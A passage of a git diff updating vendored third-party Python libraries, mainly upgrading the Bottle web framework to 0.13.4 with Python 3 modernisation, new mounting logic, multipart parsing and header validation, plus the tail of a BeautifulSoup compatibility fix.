'utf-32le').encode('utf-8') + xml_data = text_type(xml_data[4:], 'utf-32le').encode('utf-8') elif xml_data[:3] == '\xef\xbb\xbf': # UTF-8 with BOM sniffed_xml_encoding = 'utf-8' - xml_data = unicode(xml_data[3:], 'utf-8').encode('utf-8') + xml_data = text_type(xml_data[3:], 'utf-8').encode('utf-8') else: sniffed_xml_encoding = 'ascii' pass except: xml_encoding_match = None xml_encoding_match = re.compile( - '^<\?.*encoding=[\'"](.*?)[\'"].*\?>').match(xml_data) + r'^<\?.*encoding=[\'"](.*?)[\'"].*\?>').match(xml_data) if not xml_encoding_match and isHTML: - regexp = re.compile('<\s*meta[^>]+charset=([^>]*?)[;\'">]', re.I) + regexp = re.compile(r'<\s*meta[^>]+charset=([^>]*?)[;\'">]', re.I) xml_encoding_match = regexp.search(xml_data) if xml_encoding_match is not None: xml_encoding = xml_encoding_match.groups()[0].lower() @@ -2016,6 +2030,5 @@ def _ebcdic_to_ascii(self, s): #By default, act as an HTML pretty-printer. if __name__ == '__main__': - import sys soup = BeautifulSoup(sys.stdin) - print soup.prettify() + print(soup.prettify()) diff --git a/thirdparty/bottle/bottle.py b/thirdparty/bottle/bottle.py index a937493ba8a..e0b3185d27d 100644 --- a/thirdparty/bottle/bottle.py +++ b/thirdparty/bottle/bottle.py @@ -1,5 +1,6 @@ #!/usr/bin/env python # -*- coding: utf-8 -*- +from __future__ import print_function """ Bottle is a fast and simple micro-framework for small web applications. It offers request dispatching (Routes) with URL parameter support, templates, @@ -9,30 +10,29 @@ Homepage and documentation: http://bottlepy.org/ -Copyright (c) 2014, Marcel Hellkamp. +Copyright (c) 2009-2024, Marcel Hellkamp. License: MIT (see LICENSE for details) """ -from __future__ import with_statement import sys __author__ = 'Marcel Hellkamp' -__version__ = '0.13-dev' +__version__ = '0.13.4' __license__ = 'MIT' ############################################################################### -# Command-line interface ######################################################## +# Command-line interface ###################################################### ############################################################################### # INFO: Some server adapters need to monkey-patch std-lib modules before they # are imported. This is why some of the command-line handling is done here, but -# the actual call to main() is at the end of the file. +# the actual call to _main() is at the end of the file. -def _cli_parse(args): - from optparse import OptionParser - parser = OptionParser( - usage="usage: %prog [options] package.module:app") - opt = parser.add_option +def _cli_parse(args): # pragma: no coverage + from argparse import ArgumentParser + + parser = ArgumentParser(prog=args[0], usage="%(prog)s [options] package.module:app") + opt = parser.add_argument opt("--version", action="store_true", help="show version number.") opt("-b", "--bind", metavar="ADDRESS", help="bind socket to ADDRESS.") opt("-s", "--server", default='wsgiref', help="use SERVER as backend.") @@ -43,13 +43,16 @@ def _cli_parse(args): help="override config values.") opt("--debug", action="store_true", help="start server in debug mode.") opt("--reload", action="store_true", help="auto-reload on file changes.") - opts, args = parser.parse_args(args[1:]) + opt('app', help='WSGI app entry point.', nargs='?') + + cli_args = parser.parse_args(args[1:]) - return opts, args, parser + return cli_args, parser -def _cli_patch(args): - opts, _, _ = _cli_parse(args) +def _cli_patch(cli_args): # pragma: no coverage + parsed_args, _ = _cli_parse(cli_args) + opts = parsed_args if opts.server: if opts.server.startswith('gevent'): import gevent.monkey @@ -63,74 +66,25 @@ def _cli_patch(args): _cli_patch(sys.argv) ############################################################################### -# Imports and Python 2/3 unification ########################################### +# Imports and Python 2/3 unification ########################################## ############################################################################### - -import base64, cgi, email.utils, functools, hmac, imp, itertools, mimetypes,\ - os, re, tempfile, threading, time, warnings +import base64, calendar, email.utils, functools, hmac, itertools,\ + mimetypes, os, re, tempfile, threading, time, warnings, weakref, hashlib from types import FunctionType from datetime import date as datedate, datetime, timedelta -from tempfile import TemporaryFile +from tempfile import NamedTemporaryFile from traceback import format_exc, print_exc from unicodedata import normalize -# inspect.getargspec was removed in Python 3.6, use -# Signature-based version where we can (Python 3.3+) try: - from inspect import signature - def getargspec(func): - params = signature(func).parameters - args, varargs, keywords, defaults = [], None, None, [] - for name, param in params.items(): - if param.kind == param.VAR_POSITIONAL: - varargs = name - elif param.kind == param.VAR_KEYWORD: - keywords = name - else: - args.append(name) - if param.default is not param.empty: - defaults.append(param.default) - return (args, varargs, keywords, tuple(defaults) or None) + from ujson import dumps as json_dumps, loads as json_lds except ImportError: - from inspect import getargspec - -try: - from simplejson import dumps as json_dumps, loads as json_lds -except ImportError: # pragma: no cover - try: - from json import dumps as json_dumps, loads as json_lds - except ImportError: - try: - from django.utils.simplejson import dumps as json_dumps, loads as json_lds - except ImportError: - - def json_dumps(data): - raise ImportError( - "JSON support requires Python 2.6 or simplejson.") - - json_lds = json_dumps - -# We now try to fix 2.5/2.6/3.1/3.2 incompatibilities. -# It ain't pretty but it works... Sorry for the mess. + from json import dumps as json_dumps, loads as json_lds py = sys.version_info -py3k = py >= (3, 0, 0) -py25 = py < (2, 6, 0) -py31 = (3, 1, 0) <= py < (3, 2, 0) - -# Workaround for the missing "as" keyword in py3k. -def _e(): - return sys.exc_info()[1] - -# Workaround for the "print is a keyword/function" Python 2/3 dilemma -# and a fallback for mod_wsgi (resticts stdout/err attribute access) -try: - _stdout, _stderr = sys.stdout.write, sys.stderr.write -except IOError: - _stdout = lambda x: sys.stdout.write(x) - _stderr = lambda x: sys.stderr.write(x) +py3k = py.major > 2 # Lots of stdlib and builtin differences. if py3k: @@ -139,11 +93,22 @@ def _e(): from urllib.parse import urljoin, SplitResult as UrlSplitResult from urllib.parse import urlencode, quote as urlquote, unquote as urlunquote urlunquote = functools.partial(urlunquote, encoding='latin1') - from http.cookies import SimpleCookie - from collections import MutableMapping as DictMixin + from http.cookies import SimpleCookie, Morsel, CookieError + from collections.abc import MutableMapping as DictMixin + from types import ModuleType as new_module import pickle from io import BytesIO - from configparser import ConfigParser, Error as ConfigParserError + import configparser + from datetime import timezone + UTC = timezone.utc + # getfullargspec was deprecated in 3.5 and un-deprecated in 3.6 + # getargspec was deprecated in 3.0 and removed in 3.11 + from inspect import getfullargspec + def getargspec(func): + spec = getfullargspec(func) + kwargs = makelist(spec[0]) + makelist(spec.kwonlyargs) + return kwargs, spec[1], spec[2], spec[3] + basestring = str unicode = str json_loads = lambda s: json_lds(touni(s)) @@ -153,54 +118,53 @@ def _e(): def _raise(*a): raise a[0](a[1]).with_traceback(a[2]) else: # 2.x + warnings.warn("Python 2 support will be dropped in Bottle 0.14", DeprecationWarning) import httplib import thread from urlparse import urljoin, SplitResult as UrlSplitResult from urllib import urlencode, quote as urlquote, unquote as urlunquote - from Cookie import SimpleCookie + from Cookie import SimpleCookie, Morsel, CookieError from itertools import imap import cPickle as pickle + from imp import new_module from StringIO import StringIO as BytesIO - from ConfigParser import SafeConfigParser as ConfigParser, \ - Error as ConfigParserError - if py25: - msg = "Python 2.5 support may be dropped in future versions of Bottle." - warnings.warn(msg, DeprecationWarning) - from UserDict import DictMixin - - def next(it): - return it.next() - - bytes = str - else: # 2.6, 2.7 - from collections import MutableMapping as DictMixin + import ConfigParser as configparser + from collections import MutableMapping as DictMixin + from inspect import getargspec + from datetime import tzinfo + + class _UTC(tzinfo): + def utcoffset(self, dt): return timedelta(0) + def tzname(self, dt): return "UTC" + def dst(self, dt): return timedelta(0) + UTC = _UTC() + unicode = unicode json_loads = json_lds - eval(compile('def _raise(*a): raise a[0], a[1], a[2]', '<py3fix>', 'exec')) + exec(compile('def _raise(*a): raise a[0], a[1], a[2]', '<py3fix>', 'exec')) # Some helpers for string/byte handling def tob(s, enc='utf8'): - return s.encode(enc) if isinstance(s, unicode) else bytes(s) + if isinstance(s, unicode): + return s.encode(enc) + return b'' if s is None else bytes(s) def touni(s, enc='utf8', err='strict'): if isinstance(s, bytes): return s.decode(enc, err) - else: - return unicode(s or ("" if s is None else s)) + return unicode("" if s is None else s) tonat = touni if py3k else tob -# 3.2 fixes cgi.FieldStorage to accept bytes (which makes a lot of sense). -# 3.1 needs a workaround. -if py31: - from io import TextIOWrapper - class NCTextIOWrapper(TextIOWrapper): - def close(self): - pass # Keep wrapped buffer open. +def _stderr(*args): + try: + print(*args, file=sys.stderr) + except (IOError, AttributeError): + pass # Some environments do not allow printing (mod_wsgi) # A bug in functools causes it to break if the wrapper is an instance method @@ -214,8 +178,14 @@ def update_wrapper(wrapper, wrapped, *a, **ka): # And yes, I know PEP-8, but sometimes a lower-case classname makes more sense. -def depr(message, strict=False): - warnings.warn(message, DeprecationWarning, stacklevel=3) +def depr(major, minor, cause, fix, stacklevel=3): + text = "Warning: Use of deprecated feature or API. (Deprecated in Bottle-%d.%d)\n"\ + "Cause: %s\n"\ + "Fix: %s\n" % (major, minor, cause, fix) + if DEBUG == 'strict': + raise DeprecationWarning(text) + warnings.warn(text, DeprecationWarning, stacklevel=stacklevel) + return DeprecationWarning(text) def makelist(data): # This is just too handy @@ -259,7 +229,7 @@ class cached_property(object): property. """ def __init__(self, func): - self.__doc__ = getattr(func, '__doc__') + update_wrapper(self, func) self.func = func def __get__(self, obj, cls): @@ -280,8 +250,9 @@ def __get__(self, obj, cls): setattr(cls, self.__name__, value) return value + ############################################################################### -# Exceptions and Events ######################################################## +# Exceptions and Events ####################################################### ############################################################################### @@ -370,13 +341,17 @@ def add_filter(self, name, func): rule_syntax = re.compile('(\\\\*)' '(?:(?::([a-zA-Z_][a-zA-Z_0-9]*)?()(?:#(.*?)#)?)' '|(?:<([a-zA-Z_][a-zA-Z_0-9]*)?(?::([a-zA-Z_]*)' - '(?::((?:\\\\.|[^\\\\>]+)+)?)?)?>))') + '(?::((?:\\\\.|[^\\\\>])+)?)?)?>))') def _itertokens(self, rule): offset, prefix = 0, '' for match in self.rule_syntax.finditer(rule): prefix += rule[offset:match.start()] g = match.groups() + if g[2] is not None: + depr(0, 13, "Use of old route syntax.", + "Use <name> instead of :name in routes.", + stacklevel=4) if len(g[0]) % 2: # Escaped wildcard prefix += match.group(0)[len(g[0]):] offset = match.end() @@ -427,9 +402,8 @@ def add(self, rule, method, target, name=None): try: re_pattern = re.compile('^(%s)$' % pattern) re_match = re_pattern.match - except re.error: - raise RouteSyntaxError("Could not add Route: %s (%s)" % - (rule, _e())) + except re.error as e: + raise RouteSyntaxError("Could not add Route: %s (%s)" % (rule, e)) if filters: @@ -454,7 +428,7 @@ def getargs(path): if (flatpat, method) in self._groups: if DEBUG: msg = 'Route <%s %s> overwrites a previously defined route' - warnings.warn(msg % (method, rule), RuntimeWarning) + warnings.warn(msg % (method, rule), RuntimeWarning, stacklevel=3) self.dyna_routes[method][ self._groups[flatpat, method]] = whole_rule else: @@ -485,18 +459,15 @@ def build(self, _name, *anons, **query): query['anon%d' % i] = value url = ''.join([f(query.pop(n)) if n else f for (n, f) in builder]) return url if not query else url + '?' + urlencode(query) - except KeyError: - raise RouteBuildError('Missing URL argument: %r' % _e().args[0]) + except KeyError as E: + raise RouteBuildError('Missing URL argument: %r' % E.args[0]) def match(self, environ): """ Return a (target, url_args) tuple or raise HTTPError(400/404/405). """ verb = environ['REQUEST_METHOD'].upper() path = environ['PATH_INFO'] or '/' - if verb == 'HEAD': - methods = ['PROXY', verb, 'GET', 'ANY'] - else: - methods = ['PROXY', verb, 'ANY'] + methods = ('PROXY', 'HEAD', 'GET', 'ANY') if verb == 'HEAD' else ('PROXY', verb, 'ANY') for method in methods: if method in self.static and path in self.static[method]: @@ -514,7 +485,7 @@ def match(self, environ): nocheck = set(methods) for method in set(self.static) - nocheck: if path in self.static[method]: - allowed.add(verb) + allowed.add(method) for method in set(self.dyna_regexes) - allowed - nocheck: for combined, rules in self.dyna_regexes[method]: match = combined(path) @@ -531,7 +502,7 @@ def match(self, environ): class Route(object): """ This class wraps a route callback along with route specific metadata and configuration and applies Plugins on demand. It is also responsible for - turing an URL path rule into a regular expression usable by the Router. + turning an URL path rule into a regular expression usable by the Router. """ def __init__(self, app, rule, method, callback, @@ -555,7 +526,8 @@ def __init__(self, app, rule, method, callback, #: Additional keyword arguments passed to the :meth:`Bottle.route` #: decorator are stored in this dictionary. Used for route-specific #: plugin configuration and meta-data. - self.config = ConfigDict().load_dict(config) + self.config = app.config._make_overlay() + self.config.load_dict(config) @cached_property def call(self): @@ -593,7 +565,7 @@ def _make_callback(self): callback = plugin(callback) except RouteReset: # Try again with changed configuration. return self._make_callback() - if not callback is self.callback: + if callback is not self.callback: update_wrapper(callback, self.callback) return callback @@ -601,18 +573,17 @@ def get_undecorated_callback(self): """ Return the callback. If the callback is a decorated function, try to recover the original function. """ func = self.callback - func = getattr(func, '__func__' if py3k else 'im_func', func) - closure_attr = '__closure__' if py3k else 'func_closure' - while hasattr(func, closure_attr) and getattr(func, closure_attr): - attributes = getattr(func, closure_attr) - func = attributes[0].cell_contents - - # in case of decorators with multiple arguments - if not isinstance(func, FunctionType): - # pick first FunctionType instance from multiple arguments - func = filter(lambda x: isinstance(x, FunctionType), - map(lambda x: x.cell_contents, attributes)) - func = list(func)[0] # py3 support + while True: + if getattr(func, '__wrapped__', False): + func = func.__wrapped__ + elif getattr(func, '__func__', False): + func = func.__func__ + elif getattr(func, '__closure__', False): + cells_values = (cell.cell_contents for cell in func.__closure__) + isfunc = lambda x: isinstance(x, FunctionType) or hasattr(x, '__call__') + func = next(iter(filter(isfunc, cells_values)), func) + else: + break return func def get_callback_args(self): @@ -624,13 +595,16 @@ def get_callback_args(self): def get_config(self, key, default=None): """ Lookup a config field and return its value, first checking the route.config, then route.app.config.""" - for conf in (self.config, self.app.config): - if key in conf: return conf[key] - return default + depr(0, 13, "Route.get_config() is deprecated.", + "The Route.config property already includes values from the" + " application config for missing keys. Access it directly.") + return self.config.get(key, default) def __repr__(self): cb = self.get_undecorated_callback() - return '<%s %r %r>' % (self.method, self.rule, cb) + return '<%s %s -> %s:%s>' % ( + self.method, self.rule, cb.__module__, getattr(cb, '__name__', '__call__') + ) ############################################################################### # Application Object ########################################################### @@ -646,14 +620,34 @@ class Bottle(object): let debugging middleware handle exceptions. """ - def __init__(self, catchall=True, autojson=True): + @lazy_attribute + def _global_config(cls): + cfg = ConfigDict() + cfg.meta_set('catchall', 'validate', bool) + return cfg + + def __init__(self, **kwargs): #: A :class:`ConfigDict` for app specific configuration. - self.config = ConfigDict() - self.config._on_change = functools.partial(self.trigger_hook, 'config') - self.config.meta_set('autojson', 'validate', bool) - self.config.meta_set('catchall', 'validate', bool) - self.config['catchall'] = catchall - self.config['autojson'] = autojson + self.config = self._global_config._make_overlay() + self.config._add_change_listener( + functools.partial(self.trigger_hook, 'config')) + + self.config.update({ + "catchall": True + }) + + if kwargs.get('catchall') is False: + depr(0, 13, "Bottle(catchall) keyword argument.", + "The 'catchall' setting is now part of the app " + "configuration. Fix: `app.config['catchall'] = False`") + self.config['catchall'] = False + if kwargs.get('autojson') is False: + depr(0, 13, "Bottle(autojson) keyword argument.", + "The 'autojson' setting is now part of the app " + "configuration. Fix: `app.config['json.enable'] = False`") + self.config['json.disable'] = True + + self._mounts = [] #: A :class:`ResourceManager` for application files self.resources = ResourceManager() @@ -664,15 +658,14 @@ def __init__(self, catchall=True, autojson=True): # Core plugins self.plugins = [] # List of installed plugins. - if self.config['autojson']: - self.install(JSONPlugin()) + self.install(JSONPlugin()) self.install(TemplatePlugin()) #: If true, most exceptions are caught and returned as :exc:`HTTPError` catchall = DictProperty('config', 'catchall') __hook_names = 'before_request', 'after_request', 'app_reset', 'config' - __hook_reversed = 'after_request' + __hook_reversed = {'after_request'} @cached_property def _hooks(self): @@ -714,21 +707,10 @@ def decorator(func): return decorator - def mount(self, prefix, app, **options): - """ Mount an application (:class:`Bottle` or plain WSGI) to a specific - URL prefix. Example:: - - root_app.mount('/admin/', admin_app) - - :param prefix: path prefix or `mount-point`. If it ends in a slash, - that slash is mandatory. - :param app: an instance of :class:`Bottle` or a WSGI application. - - All other parameters are passed to the underlying :meth:`route` call. - """ - + def _mount_wsgi(self, prefix, app, **options): segments = [p for p in prefix.split('/') if p] - if not segments: raise ValueError('Empty path prefix.') + if not segments: + raise ValueError('WSGI applications cannot be mounted to "/".') path_depth = len(segments) def mountpoint_wrapper(): @@ -739,6 +721,13 @@ def mountpoint_wrapper(): def start_response(status, headerlist, exc_info=None): if exc_info: _raise(*exc_info) + if py3k: + # Errors here mean that the mounted WSGI app did not + # follow PEP-3333 (which requires latin1) or used a + # pre-encoding other than utf8 :/ + status = status.encode('latin1').decode('utf8') + headerlist = [(k, v.encode('latin1').decode('utf8')) + for (k, v) in headerlist] rs.status = status for name, value in headerlist: rs.add_header(name, value) @@ -759,6 +748,59 @@ def start_response(status, headerlist, exc_info=None): if not prefix.endswith('/'): self.route('/' + '/'.join(segments), **options) + def _mount_app(self, prefix, app, **options): + if app in self._mounts or '_mount.app' in app.config: + depr(0, 13, "Application mounted multiple times. Falling back to WSGI mount.", + "Clone application before mounting to a different location.") + return self._mount_wsgi(prefix, app, **options) + + if options: + depr(0, 13, "Unsupported mount options. Falling back to WSGI mount.", + "Do not specify any route options when mounting bottle application.") + return self._mount_wsgi(prefix, app, **options) + + if not prefix.endswith("/"): + depr(0, 13, "Prefix must end in '/'. Falling back to WSGI mount.", + "Consider adding an explicit redirect from '/prefix' to '/prefix/' in the parent application.") + return self._mount_wsgi(prefix, app, **options) + + self._mounts.append(app) + app.config['_mount.prefix'] = prefix + app.config['_mount.app'] = self + for route in app.routes: + route.rule = prefix + route.rule.lstrip('/') + self.add_route(route) + + def mount(self, prefix, app, **options): + """ Mount an application (:class:`Bottle` or plain WSGI) to a specific + URL prefix. Example:: + + parent_app.mount('/prefix/', child_app) + + :param prefix: path prefix or `mount-point`. + :param app: an instance of :class:`Bottle` or a WSGI application. + + Plugins from the parent application are not applied to the routes + of the mounted child application. If you need plugins in the child + application, install them separately. + + While it is possible to use path wildcards within the prefix path + (:class:`Bottle` childs only), it is highly discouraged. + + The prefix path must end with a slash. If you want to access the + root of the child application via `/prefix` in addition to + `/prefix/`, consider adding a route with a 307 redirect to the + parent application. + """ + + if not prefix.startswith('/'): + raise ValueError("Prefix must start with '/'") + + if isinstance(app, Bottle): + return self._mount_app(prefix, app, **options) + else: + return self._mount_wsgi(prefix, app, **options) + def merge(self, routes): """ Merge the routes of another :class:`Bottle` application or a list of :class:`Route` objects into this application. The routes keep their @@ -820,7 +862,7 @@ def run(self, **kwargs): run(self, **kwargs) def match(self, environ): - """ Search for a matching route and return a (:class:`Route` , urlargs) + """ Search for a matching route and return a (:class:`Route`, urlargs) tuple. The second value is a dictionary with parameters extracted from the URL. Raise :exc:`HTTPError` (404/405) on a non-match.""" return self.router.match(environ) @@ -908,56 +950,80 @@ def patch(self, path=None, method='PATCH', **options): """ Equals :meth:`route` with a ``PATCH`` method parameter. """ return self.route(path, method, **options) - def error(self, code=500): - """ Decorator: Register an output handler for a HTTP error code""" + def error(self, code=500, callback=None): + """ Register an output handler for a HTTP error code. Can + be used as a decorator or called directly :: - def wrapper(handler): - self.error_handler[int(code)] = handler - return handler + def error_handler_500(error): + return 'error_handler_500' - return wrapper + app.error(code=500, callback=error_handler_500) + + @app.error(404) + def error_handler_404(error): + return 'error_handler_404' + + """ + + def decorator(callback): + if isinstance(callback, basestring): callback = load(callback) + self.error_handler[int(code)] = callback + return callback + + return decorator(callback) if callback else decorator def default_error_handler(self, res): - return tob(template(ERROR_PAGE_TEMPLATE, e=res)) + return tob(template(ERROR_PAGE_TEMPLATE, e=res, template_settings=dict(name='__ERROR_PAGE_TEMPLATE'))) def _handle(self, environ): path = environ['bottle.raw_path'] = environ['PATH_INFO'] if py3k: environ['PATH_INFO'] = path.encode('latin1').decode('utf8', 'ignore') - def _inner_handle(): - # Maybe pass variables as locals for better performance? - try: - route, args = self.router.match(environ) - environ['route.handle'] = route - environ['bottle.route'] = route - environ['route.url_args'] = args - return route.call(**args) - except HTTPResponse: - return _e() - except RouteReset: - route.reset() - return _inner_handle() - except (KeyboardInterrupt, SystemExit, MemoryError): - raise - except Exception: - if not self.catchall: raise - stacktrace = format_exc() - environ['wsgi.errors'].write(stacktrace) - return HTTPError(500, "Internal Server Error", _e(), stacktrace) + environ['bottle.app'] = self + request.bind(environ) + response.bind() try: - out = None - environ['bottle.app'] = self - request.bind(environ) - response.bind() - self.trigger_hook('before_request') - out = _inner_handle() - return out; - finally: - if isinstance(out, HTTPResponse): - out.apply(response) - self.trigger_hook('after_request') + while True: # Remove in 0.14 together with RouteReset + out = None + try: + self.trigger_hook('before_request') + route, args = self.router.match(environ) + environ['route.handle'] = route + environ['bottle.route'] = route + environ['route.url_args'] = args + out = route.call(**args) + break + except HTTPResponse as E: + out = E + break + except RouteReset: + depr(0, 13, "RouteReset exception deprecated", + "Call route.call() after route.reset() and " + "return the result.") + route.reset() + continue + finally: + if isinstance(out, HTTPResponse): + out.apply(response) + try: + self.trigger_hook('after_request') + except HTTPResponse as E: + out = E + out.apply(response) + except (KeyboardInterrupt, SystemExit, MemoryError): + raise + except Exception as E: + if not self.catchall: raise + stacktrace = format_exc() + environ['wsgi.errors'].write(stacktrace) + environ['wsgi.errors'].flush() + environ['bottle.exc_info'] = sys.exc_info() + out = HTTPError(500, "Internal Server Error", E, stacktrace) + out.apply(response) + + return out def _cast(self, out, peek=None): """ Try to convert the parameter into something WSGI compatible and set @@ -1009,13 +1075,13 @@ def _cast(self, out, peek=None): first = next(iout) except StopIteration: return self._cast('') - except HTTPResponse: - first = _e() + except HTTPResponse as E: + first = E except (KeyboardInterrupt, SystemExit, MemoryError): raise - except: + except Exception as error: if not self.catchall: raise - first = HTTPError(500, 'Unhandled exception', _e(), format_exc()) + first = HTTPError(500, 'Unhandled exception', error, format_exc()) # These are the inner types allowed in iterator or generator objects. if isinstance(first, HTTPResponse): @@ -1041,19 +1107,23 @@ def wsgi(self, environ, start_response): or environ['REQUEST_METHOD'] == 'HEAD': if hasattr(out, 'close'): out.close() out = [] - start_response(response._status_line, response.headerlist) + exc_info = environ.get('bottle.exc_info') + if exc_info is not None: + del environ['bottle.exc_info'] + start_response(response._wsgi_status_line(), response.headerlist, exc_info) return out except (KeyboardInterrupt, SystemExit, MemoryError): raise - except: + except Exception as E: if not self.catchall: raise err = '<h1>Critical error while processing request: %s</h1>' \ % html_escape(environ.get('PATH_INFO', '/')) if DEBUG: err += '<h2>Error:</h2>\n<pre>\n%s\n</pre>\n' \ '<h2>Traceback:</h2>\n<pre>\n%s\n</pre>\n' \ - % (html_escape(repr(_e())), html_escape(format_exc())) + % (html_escape(repr(E)), html_escape(format_exc())) environ['wsgi.errors'].write(err) + environ['wsgi.errors'].flush() headers = [('Content-Type', 'text/html; charset=UTF-8')] start_response('500 INTERNAL SERVER ERROR', headers, sys.exc_info()) return [tob(err)] @@ -1073,8 +1143,7 @@ def __exit__(self, exc_type, exc_value, traceback): def __setattr__(self, name, value): if name in self.__dict__: raise AttributeError("Attribute %s already defined. Plugin conflict?" % name) - self.__dict__[name] = value - + object.__setattr__(self, name, value) ############################################################################### # HTTP and WSGI Tools ########################################################## @@ -1145,15 +1214,22 @@ def cookies(self): cookies = SimpleCookie(self.environ.get('HTTP_COOKIE', '')).values() return FormsDict((c.key, c.value) for c in cookies) - def get_cookie(self, key, default=None, secret=None): + def get_cookie(self, key, default=None, secret=None, digestmod=hashlib.sha256): """ Return the content of a cookie. To read a `Signed Cookie`, the `secret` must match the one used to create the cookie (see :meth:`BaseResponse.set_cookie`). If anything goes wrong (missing cookie or wrong signature), return a default value. """ value = self.cookies.get(key) - if secret and value: - dec = cookie_decode(value, secret) # (key, value) tuple or None - return dec[1] if dec and dec[0] == key else default + if secret: + # See BaseResponse.set_cookie for details on signed cookies. + if value and value.startswith('!') and '?' in value: + sig, msg = map(tob, value[1:].split('?', 1)) + hash = hmac.new(tob(secret), msg, digestmod=digestmod).digest() + if _lscmp(sig, base64.b64encode(hash)): + dst = pickle.loads(base64.b64decode(msg)) + if dst and dst[0] == key: + return dst[1] + return default return value or default @DictProperty('environ', 'bottle.request.query', read_only=True) @@ -1175,6 +1251,7 @@ def forms(self): :class:`FormsDict`. All keys and values are strings. File uploads are stored separately in :attr:`files`. """ forms = FormsDict() + forms.recode_unicode = self.POST.recode_unicode for name, item in self.POST.allitems(): if not isinstance(item, FileUpload): forms[name] = item @@ -1198,6 +1275,7 @@ def files(self): """ files = FormsDict() + files.recode_unicode = self.POST.recode_unicode for name, item in self.POST.allitems(): if isinstance(item, FileUpload): files[name] = item @@ -1205,13 +1283,15 @@ def files(self): @DictProperty('environ', 'bottle.request.json', read_only=True) def json(self): - """ If the ``Content-Type`` header is ``application/json``, this - property holds the parsed content of the request body. Only requests - smaller than :attr:`MEMFILE_MAX` are processed to avoid memory - exhaustion. Invalid JSON raises a 400 error response. """ + """ If the ``Content-Type`` header is ``application/json`` or + ``application/json-rpc``, this property holds the parsed content + of the request body. Only requests smaller than :attr:`MEMFILE_MAX` + are processed to avoid memory exhaustion. + Invalid JSON raises a 400 error response. + """ ctype = self.environ.get('CONTENT_TYPE', '').lower().split(';')[0] - if ctype == 'application/json': - b = self._get_body_string() + if ctype in ('application/json', 'application/json-rpc'): + b = self._get_body_string(self.MEMFILE_MAX) if not b: return None try: @@ -1269,7 +1349,7 @@ def _body(self): body.write(part) body_size += len(part) if not is_temp_file and body_size > self.MEMFILE_MAX: - body, tmp = TemporaryFile(mode='w+b'), body + body, tmp = NamedTemporaryFile(mode='w+b'), body body.write(tmp.getvalue()) del tmp is_temp_file = True @@ -1277,15 +1357,13 @@ def _body(self): body.seek(0) return body - def _get_body_string(self): - """ read body until content-length or MEMFILE_MAX into a string. Raise - HTTPError(413) on requests that are to large. """ - clen = self.content_length - if clen > self.MEMFILE_MAX: + def _get_body_string(self, maxread): + """ Read body into a string. Raise HTTPError(413) on requests that are + too large. """ + if self.content_length > maxread: raise HTTPError(413, 'Request entity too large') - if clen < 0: clen = self.MEMFILE_MAX + 1 - data = self.body.read(clen) - if len(data) > self.MEMFILE_MAX: # Fail fast + data = self.body.read(maxread + 1) + if len(data) > maxread: raise HTTPError(413, 'Request entity too large') return data @@ -1312,36 +1390,35 @@ def chunked(self): def POST(self): """ The values of :attr:`forms` and :attr:`files` combined into a single :class:`FormsDict`. Values are either strings (form values) or - instances of :class:`cgi.FieldStorage` (file uploads). + instances of :class:`FileUpload`. """ post = FormsDict() + content_type = self.environ.get('CONTENT_TYPE', '') + content_type, options = _parse_http_header(content_type)[0] # We default to application/x-www-form-urlencoded for everything that # is not multipart and take the fast path (also: 3.1 workaround) - if not self.content_type.startswith('multipart/'): - pairs = _parse_qsl(tonat(self._get_body_string(), 'latin1')) - for key, value in pairs: + if not content_type.startswith('multipart/'): + body = tonat(self._get_body_string(self.MEMFILE_MAX), 'latin1') + for key, value in _parse_qsl(body): post[key] = value return post - safe_env = {'QUERY_STRING': ''} # Build a safe environment for cgi - for key in ('REQUEST_METHOD', 'CONTENT_TYPE', 'CONTENT_LENGTH'): - if key in self.environ: safe_env[key] = self.environ[key] - args = dict(fp=self.body, environ=safe_env, keep_blank_values=True) - if py31: - args['fp'] = NCTextIOWrapper(args['fp'], - encoding='utf8', - newline='\n') - elif py3k: - args['encoding'] = 'utf8' - data = cgi.FieldStorage(**args) - self['_cgi.FieldStorage'] = data #http://bugs.python.org/issue18394 - data = data.list or [] - for item in data: - if item.filename: - post[item.name] = FileUpload(item.file, item.name, - item.filename, item.headers) + post.recode_unicode = False + charset = options.get("charset", "utf8") + boundary = options.get("boundary") + if not boundary: + raise MultipartError("Invalid content type header, missing boundary") + parser = _MultipartParser(self.body, boundary, self.content_length, + mem_limit=self.MEMFILE_MAX, memfile_limit=self.MEMFILE_MAX, + charset=charset) + + for part in parser.parse(): + if not part.filename and part.is_buffered(): + post[part.name] = tonat(part.value, 'utf8') else: - post[item.name] = item.value + post[part.name] = FileUpload(part.file, part.name, + part.filename, part.headerlist) + return post @property @@ -1512,38 +1589,49 @@ def __getattr__(self, name): raise AttributeError('Attribute %r not defined.' % name) def __setattr__(self, name, value): + """ Define new attributes that are local to the bound request environment. """ if name == 'environ': return object.__setattr__(self, name, value) key = 'bottle.request.ext.%s' % name - if key in self.environ: + if hasattr(self, name): raise AttributeError("Attribute already defined: %s" % name) self.environ[key] = value - def __delattr__(self, name, value): + def __delattr__(self, name): try: del self.environ['bottle.request.ext.%s' % name] except KeyError: raise AttributeError("Attribute not defined: %s" % name) -def _hkey(s): - return s.title().replace('_', '-') + +def _hkey(key): + if '\n' in key or '\r' in key or '\0' in key: + raise ValueError("Header names must not contain control characters: %r" % key) + return key.title().replace('_', '-') + + +def _hval(value): + value = tonat(value) + if '\n' in value or '\r' in value or '\0' in value: + raise ValueError("Header value must not contain control characters: %r" % value) + return value class HeaderProperty(object): - def __init__(self, name, reader=None, writer=str, default=''): + def __init__(self, name, reader=None, writer=None, default=''): self.name, self.default = name, default self.reader, self.writer = reader, writer self.__doc__ = 'Current value of the %r header.' % name.title() def __get__(self, obj, _): if obj is None: return self - value = obj.headers.get(self.name, self.default) + value = obj.get_header(self.name, self.default) return self.reader(value) if self.reader else value def __set__(self, obj, value): - obj.headers[self.name] = self.writer(value) + obj[self.name] = self.writer(value) if self.writer else value def __delete__(self, obj): - del obj.headers[self.name] + del obj[self.name] class BaseResponse(object): @@ -1552,29 +1640,31 @@ class BaseResponse(object): This class does support dict-like case-insensitive item-access to headers, but is NOT a dict. Most notably, iterating over a response yields parts of the body and not the headers. - - :param body: The response body as one of the supported types. - :param status: Either an HTTP status code (e.g. 200) or a status line - including the reason phrase (e.g. '200 OK'). - :param headers: A dictionary or a list of name-value pairs. - - Additional keyword arguments are added to the list of headers. - Underscores in the header name are replaced with dashes. """ default_status = 200 default_content_type = 'text/html; charset=UTF-8' - # Header blacklist for specific response codes + # Header denylist for specific response codes # (rfc2616 section 10.2.3 and 10.3.5) bad_headers = { - 204: set(('Content-Type', )), - 304: set(('Allow', 'Content-Encoding', 'Content-Language', + 204: 